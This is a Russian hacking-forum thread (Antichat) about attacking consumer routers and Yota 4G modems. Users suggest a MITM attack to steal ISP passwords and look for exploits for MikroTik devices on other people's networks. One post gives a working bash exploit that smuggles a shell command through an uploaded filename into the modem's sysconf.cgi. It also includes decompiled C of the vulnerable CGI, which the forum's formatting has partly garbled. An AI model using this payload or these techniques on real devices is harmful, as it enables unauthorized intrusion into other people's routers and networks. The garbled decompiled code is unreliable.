Antichat — официальный сайт

прога Router Scan

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by СЕРЖ32, 11 Nov 2013.

  1. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Думаю, не составит труда поставить перехватывающий свитч между сетью провайдера и роутером.

    Устройте атаку MITM, сымитируйте проблему с инетом, и перехватите пароль. :)
     
    Triton_Mgn and sha9 like this.
    1. Oleg1772

      Oleg1772 New Member

      Joined:
      21 Dec 2015
      Messages:
      23
      Likes Received:
      0
      Reputations:
      0
      Что содержит в себе железка без прошивки? Можно ли вытащить что либо оттуда?
       
      #3802 Oleg1772, 4 Jul 2017
      Last edited: 4 Jul 2017
      1. sha9

        sha9 Well-Known Member

        Joined:
        25 Sep 2015
        Messages:
        567
        Likes Received:
        734
        Reputations:
        2
        думал над этим.но хотелось-бы попроще.не привлекая внимание провайдера:)
         
        Triton_Mgn likes this.
        1. binarymaster

          binarymaster Elder - Старейшина

          Joined:
          11 Dec 2010
          Messages:
          4,717
          Likes Received:
          10,195
          Reputations:
          126
          Процессор (чаще MIPS, реже ARM) + оперативка + постоянная память (разделена на части: загрузчик/прошивка/конфиг) + WLAN чип (иногда интегрирован в процессор) + аппаратный коммутатор + другие опциональные интерфейсы, например USB. И всё это распаяно на материнке, у которой бывает консольный отладочный порт и/или JTAG.
           
          Veil, Triton_Mgn and sha9 like this.
          1. Oleg1772

            Oleg1772 New Member

            Joined:
            21 Dec 2015
            Messages:
            23
            Likes Received:
            0
            Reputations:
            0
            А может производитель оставить бэкдор там?
             
            1. V777

              V777 Banned

              Joined:
              12 May 2015
              Messages:
              1,326
              Likes Received:
              3,181
              Reputations:
              24
              RouterOS v6.33.2 к ним есть какие єксплоиты ?
               
              1. sha9

                sha9 Well-Known Member

                Joined:
                25 Sep 2015
                Messages:
                567
                Likes Received:
                734
                Reputations:
                2
                не все. иначе-бы АНБ не разрабатывало инструмент взлома роутеров о котором говорилось несколькими постами выше, и который выложила в паблик шадоу брокер. и китайцы точно уж не переводили-бы роутерскан на китайский язык, а тем более не использовали его для демонстрации уязвимостей на своих конференциях по безопасности.
                 
                1. binarymaster

                  binarymaster Elder - Старейшина

                  Joined:
                  11 Dec 2010
                  Messages:
                  4,717
                  Likes Received:
                  10,195
                  Reputations:
                  126
                  Чисто технологически, в подобном железе трудно оставить бекдоры. Роутерные процессоры в разы слабее компьютерных, и заточены под RISC архитектуры, описанные выше.
                  Удваиваю вопрос.
                   
                  1. sha9

                    sha9 Well-Known Member

                    Joined:
                    25 Sep 2015
                    Messages:
                    567
                    Likes Received:
                    734
                    Reputations:
                    2
                    это микротик? в паблике только два (или три) и все связаны только с дос
                     
                    Triton_Mgn likes this.
                    1. Felis-Sapiens

                      Felis-Sapiens Reservists Of Antichat

                      Joined:
                      21 Jul 2015
                      Messages:
                      616
                      Likes Received:
                      3,833
                      Reputations:
                      171
                      Нашёл только USB MAC'и:
                      http://IP/cgi-bin/sysconf.cgi?page=mfg&action=28 - "lanaddr"
                      http://IP/cgi-bin/sysconf.cgi?page=mfg&action=29 - "hostaddr"
                       
                      1. V777

                        V777 Banned

                        Joined:
                        12 May 2015
                        Messages:
                        1,326
                        Likes Received:
                        3,181
                        Reputations:
                        24
                        Да, это микротик
                         
                        sha9 likes this.
                        1. sha9

                          sha9 Well-Known Member

                          Joined:
                          25 Sep 2015
                          Messages:
                          567
                          Likes Received:
                          734
                          Reputations:
                          2
                          терпеть ненавижу их . в чужих сетях. давно ищу способ до них добраться.
                           
                          V777 and Triton_Mgn like this.
                          1. binarymaster

                            binarymaster Elder - Старейшина

                            Joined:
                            11 Dec 2010
                            Messages:
                            4,717
                            Likes Received:
                            10,195
                            Reputations:
                            126
                            Всё же лучше, чем без маков.

                            Может быть позже выяснится, что их можно инкрементить до WLAN.
                            hostaddr = lanaddr + 1
                            (пока данных по этим роутерам очень мало)
                             
                            sha9 likes this.
                            1. Triton_Mgn

                              Triton_Mgn Elder - Старейшина

                              Joined:
                              6 Jul 2015
                              Messages:
                              3,673
                              Likes Received:
                              5,775
                              Reputations:
                              51
                              Дело в том, что мы имеем постоянные проблемы с mikrotik и ubiquiti = эх, ничего, посмотрим..
                               
                              binarymaster and sha9 like this.
                              1. pkrw88

                                pkrw88 Member

                                Joined:
                                30 Jun 2017
                                Messages:
                                21
                                Likes Received:
                                38
                                Reputations:
                                0
                                не знаю, совпадение ли, но у многих модемов из выборки стоит проброс портов к кинетикам
                                 
                                binarymaster and sha9 like this.
                                1. binarymaster

                                  binarymaster Elder - Старейшина

                                  Joined:
                                  11 Dec 2010
                                  Messages:
                                  4,717
                                  Likes Received:
                                  10,195
                                  Reputations:
                                  126
                                  По-моему у тех есть USB порты, через который как раз запитывается Yota-модем, раздающий инет.
                                   
                                  sha9 likes this.
                                  1. binarymaster

                                    binarymaster Elder - Старейшина

                                    Joined:
                                    11 Dec 2010
                                    Messages:
                                    4,717
                                    Likes Received:
                                    10,195
                                    Reputations:
                                    126
                                    Нашёл интересный эксплойт... правда пока нет баша под рукой, чтобы протестировать.

                                    https://github.com/m0rb/olday/blob/master/clearshock
                                     
                                    sha9, Triton_Mgn and Felis-Sapiens like this.
                                    1. Felis-Sapiens

                                      Felis-Sapiens Reservists Of Antichat

                                      Joined:
                                      21 Jul 2015
                                      Messages:
                                      616
                                      Likes Received:
                                      3,833
                                      Reputations:
                                      171
                                      О, я как раз про это место подумал, что там возможно rce есть
                                       
                                      1. exzet

                                        exzet Active Member

                                        Joined:
                                        26 May 2017
                                        Messages:
                                        67
                                        Likes Received:
                                        110
                                        Reputations:
                                        0
                                        Ага, 4 штырька - TX, RX, GND и VCC, а от туда уже по ком-порту можно вытащить все что угодно.
                                         
                                        1. Felis-Sapiens

                                          Felis-Sapiens Reservists Of Antichat

                                          Joined:
                                          21 Jul 2015
                                          Messages:
                                          616
                                          Likes Received:
                                          3,833
                                          Reputations:
                                          171
                                          Выяснилось, что нельзя
                                          Code:
                                          #!/bin/bash
                                          
                                          CPE=192.168.15.1:88
                                          
                                          PAYLOAD='$(export d=${PATH:0:1}; .${d}ssiget -l about > ${d}www${d}asp${d}temp.asp)'
                                          touch "${PAYLOAD}"
                                          curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
                                          rm -f "${PAYLOAD}"
                                          
                                          curl "http://$CPE/cgi-bin/sysconf.cgi?page=temp.asp&action=request"
                                          
                                          PAYLOAD='$(export d=${PATH:0:1}; rm -f ${d}www${d}asp${d}temp.asp)'
                                          touch "${PAYLOAD}"
                                          curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
                                          rm -f "${PAYLOAD}"
                                          

                                          PHP:
                                          #include <stdio.h>
                                          #include <strings.h>

                                          int main(int argc, const char **argv, const char **envp)
                                          {
                                              
                                          char page[52];
                                              
                                          int ivar_C;
                                              
                                          char *ptr;
                                             
                                              
                                          var_C 0;
                                              
                                          ptr get_query(stdin);
                                              
                                          init_cgi(ptr);
                                              ;
                                              
                                          strcpy(pageget_cgi("page"));
                                              
                                          var_48 getenv("REMOTE_ADDR");
                                              
                                          var_44 getenv("REQUEST_METHOD");
                                              if (
                                          strstr(page"..") != NULL || strchr(page"/") != NULL)
                                              {
                                                  
                                          fwrite("Content-Type: text/html\r\n\r\n"10x1Bstdout);
                                                  
                                          fwrite("Wrong Page."10xBstdout);
                                                  
                                          init_cgi(0);
                                                  
                                          free(ptr);
                                                  return 
                                          0;
                                              }
                                             
                                              if (
                                          strcmp(page"mfg") == 0)
                                              {
                                                  
                                          sub_4014B8(stdout);
                                                  
                                          init_cgi(0);
                                                  
                                          free(ptr);
                                                  return 
                                          0;
                                              }
                                             
                                              if (
                                          strcasecmp(get_cgi("action"), "request") == 0)
                                              {
                                                  
                                          webs_write(pagestdout);
                                                  
                                          init_cgi(0);
                                                  
                                          free(ptr);
                                                  return 
                                          0;
                                              }
                                             
                                              
                                          0;
                                              while (
                                          1)
                                              {
                                                  if (
                                          strcmp(pageoff_41A5A0[i]) == 0)
                                                  {
                                                      
                                          off_41A5A0[1](pagevar_Cstdout);
                                                      break;
                                                  }
                                                  if (
                                          off_41A5A0[i] == 0)
                                                      break;
                                                  ++
                                          i;
                                              }
                                             
                                              if (
                                          dword_41A7C0 != 0)
                                                  
                                          webs_redirect(0"reboot"0stdout);
                                              else if (
                                          dword_41A7C4 != 0)
                                                  
                                          system("(sleep 3 && reboot) >/dev/null 2>&1 &");
                                             
                                              if (
                                          page[0] != '\0')
                                                  
                                          webs_redirect(0pagevar_Cstdout);
                                             
                                              
                                          init_cgi(0);
                                              
                                          free(ptr);
                                              return 
                                          0;
                                          }

                                          void sub_4014B8(FILE *out_stream)
                                          {
                                              
                                          char *action;
                                              
                                          char cmd[0x400];
                                             
                                              
                                          action get_cgi("action");
                                              
                                          fwrite("Content-Type: text/html\r\n\r\n"10x1Bout_stream);
                                             
                                              if (
                                          strcmp(action"11") == 0)
                                              {
                                                  
                                          memset(cmd00x400);
                                                  
                                          sprintf(cmd"ipkg -f %s remove telnetd > /dev/null""/etc/conf/app/ipkg.conf");
                                                  
                                          system(cmd);
                                              }
                                              else if (
                                          strcmp(action"12") == 0)
                                              {
                                                  
                                          unlink("/mnt/jffs2/ipkg/lists/openwmx");
                                                  
                                          unlink("/mnt/jffs2/ipkg/lists/devicesw");
                                                  
                                          unlink("/tmp/upgrade_success");
                                                  
                                          ipkg_install(stdin);
                                              }
                                              else if (
                                          strcmp(action"1") == 0)
                                              {
                                                  
                                          fputs(sub_4040C0("/Yota_VERSION"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"16") == 0)
                                              {
                                                  
                                          fputs(sub_404230("serial"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"19") == 0)
                                              {
                                                  
                                          fputs(sub_404230("hid"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"20") == 0)
                                              {
                                                  
                                          fputs(sub_404230("cid"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"21") == 0)
                                              {
                                                  
                                          fputs(sub_404230("pid"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"22") == 0)
                                              {
                                                  
                                          fputs(sub_404230("mid"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"24") == 0)
                                              {
                                                  
                                          fputs(sub_4013B4("cd /usr/factory; ./mp_tool imei read"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"28") == 0)
                                              {
                                                  
                                          fputs(sub_404230("lanaddr"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"29") == 0)
                                              {
                                                  
                                          fputs(sub_404230("hostaddr"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"30") == 0)
                                              {
                                                  
                                          fputs(sub_4013B4("cd /usr/factory; ./mp_tool led on"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"31") == 0)
                                              {
                                                  
                                          fputs(sub_4013B4("cd /usr/factory; ./mp_tool led off"), out_stream);
                                              }
                                              else if (
                                          strcmp(action"32") == 0)
                                              {
                                                  
                                          fputs(sub_4013B4("cd /usr/factory; ./mp_tool imsi read"), out_stream);
                                              }
                                              return;
                                          }

                                          int ipkg_install(FILE *in_stream)
                                          {
                                              
                                          char fname[0x100], cmd[0x80], verif_res[0xA];
                                              
                                          FILE *chk_stream;
                                              
                                          int i_ret;
                                             
                                              
                                          chk_stream NULL;
                                              
                                          i_ret 1;
                                             
                                              
                                          update_upload_status("Downloading");
                                              if (
                                          sub_408B4C(fnamein_stream) == 0)
                                              {
                                                  
                                          i_ret 2;
                                                  
                                          update_upload_status("DownloadFail");
                                                  goto 
                                          loc_exit;
                                              }
                                             
                                              
                                          update_upload_status("Installing");
                                              
                                          sprintf(cmd"/bin/ipkg_verify.sh %s > /dev/null"fname);
                                              
                                          system(cmd);
                                             
                                              
                                          chk_stream fopen("/tmp/ipkg.chk""r");
                                              if (
                                          chk_stream == NULL)
                                              {
                                                  
                                          i_ret 2;
                                                  
                                          update_upload_status("InstallFail");
                                                  goto 
                                          loc_exit;
                                              }
                                             
                                              if (
                                          fgets(verif_res0xAchk_stream) == 0)
                                              {
                                                  
                                          i_ret 2;
                                                  
                                          update_upload_status("InstallFail");
                                                  goto 
                                          loc_exit;
                                              }
                                             
                                              if (
                                          strcmp(verif_res"1") != 0)
                                              {
                                                  
                                          i_ret 2;
                                                  
                                          update_upload_status("InstallFail");
                                                  goto 
                                          loc_exit;
                                              }
                                             
                                              if (
                                          strstr(fname".ipk") != NULL)
                                              {
                                                  
                                          sprintf(cmd"/bin/ipkg -f /etc/conf/app/ipkg.conf install '%s' > /tmp/ipkg.log 2>&1"fname);
                                                  
                                          system(cmd);
                                              }
                                              
                                          i_ret 0;
                                             
                                          loc_exit:
                                              if (
                                          chk_stream != NULL)
                                                  
                                          fclose(chk_stream);
                                              
                                          unlink(fname);
                                              return 
                                          i_ret;
                                          }

                                          int sub_408B4C(char *fnameFILE *in_stream)
                                          {
                                              
                                          int i_retunread_len;
                                              
                                          char boundary[0x80];
                                             
                                              
                                          i_ret 0;
                                              if (
                                          sub_4085BC(fnameboundary, &unread_lenin_stream) != 0
                                                  
                                          && sub_40820C(fnameboundaryunread_lenin_stream) != 0)
                                              {
                                                  
                                          i_ret 1;
                                              }
                                             
                                              if (
                                          i_ret == 0)
                                                  
                                          unlink(fname);
                                              return 
                                          i_ret;
                                          }

                                          int sub_4085BC(char *fnamechar *boundaryint *p_unread_lenFILE *in_stream)
                                          {
                                              
                                          int left_bytes;
                                              
                                          char *content_type, *p_name_start, *p_name_end, *p_path_delim;
                                              
                                          char buffer[0x1000];
                                             
                                              
                                          p_name_end NULL;
                                              if (
                                          strncasecmp(getenv("REQUEST_METHOD"), "POST"4) != 0)
                                                  return 
                                          0;
                                             
                                              if (
                                          boundary != NULL)
                                              {
                                                  
                                          content_type getenv("CONTENT_TYPE");
                                                  if (
                                          strncasecmp(content_type"multipart/form-data; boundary="0x1E) != 0)
                                                      return 
                                          0;
                                                  
                                          sprintf(boundary"--%s"content_type 0x1E);
                                              }
                                             
                                              if (
                                          getenv("CONTENT_LENGTH") == NULL)
                                                  return 
                                          0;
                                              
                                          left_bytes strtoul(getenv("CONTENT_LENGTH"), 00);
                                             
                                              if (
                                          fname != NULL)
                                              {
                                                  
                                          memcpy(fname"/upload/"9);
                                                  while (
                                          left_bytes != 0)
                                                  {
                                                      
                                          bzero(buffer0x1000);
                                                      if (
                                          fgets(buffer0x1000in_stream) == 0)
                                                          return 
                                          0;
                                                      
                                          left_bytes -= strlen(buffer);
                                                      if (
                                          strncasecmp(buffer"Content-Disposition:"0x14) != 0)
                                                          continue;
                                                      if (
                                          strcasestr(buffer"name=\"file\"") == NULL && strcasestr(buffer"name=\"updateFwFile\"") == NULL)
                                                          continue;
                                                      
                                          p_name_start strstr(buffer"filename=\"");
                                                      if (
                                          p_name_start == NULL)
                                                          continue;
                                                      
                                          p_path_delim strrchr(p_name_start'\\');
                                                      if (
                                          p_path_delim == NULL)
                                                      {
                                                          
                                          p_path_delim strrchr(p_name_start'/');
                                                      }
                                                      if (
                                          p_path_delim == NULL)
                                                          
                                          p_name_start += 0xA;
                                                      else
                                                          
                                          p_name_start p_path_delim 1;
                                                     
                                                      
                                          p_name_end strchr(p_name_start'"');
                                                      if (
                                          p_name_end != NULL)
                                                          *
                                          p_name_end '\0';
                                                     
                                                      
                                          strcat(fnamep_name_start);
                                                      break;
                                                  }
                                              }
                                             
                                              while (
                                          left_bytes != 0)
                                              {
                                                  if (
                                          fgets(buffer0x1000in_stream) == 0)
                                                      return 
                                          0;
                                                  
                                          left_bytes -= strlen(buffer);
                                                  if (
                                          strcmp(buffer"\n") == 0)
                                                      break;
                                                  if (
                                          strcmp(buffer"\r\n") == 0)
                                                      break;
                                              }
                                             
                                              if (
                                          p_unread_len != NULL)
                                                  *
                                          p_unread_len left_bytes;
                                              return 
                                          1;
                                          }
                                           
                                          Payer, CRACK211 and binarymaster like this.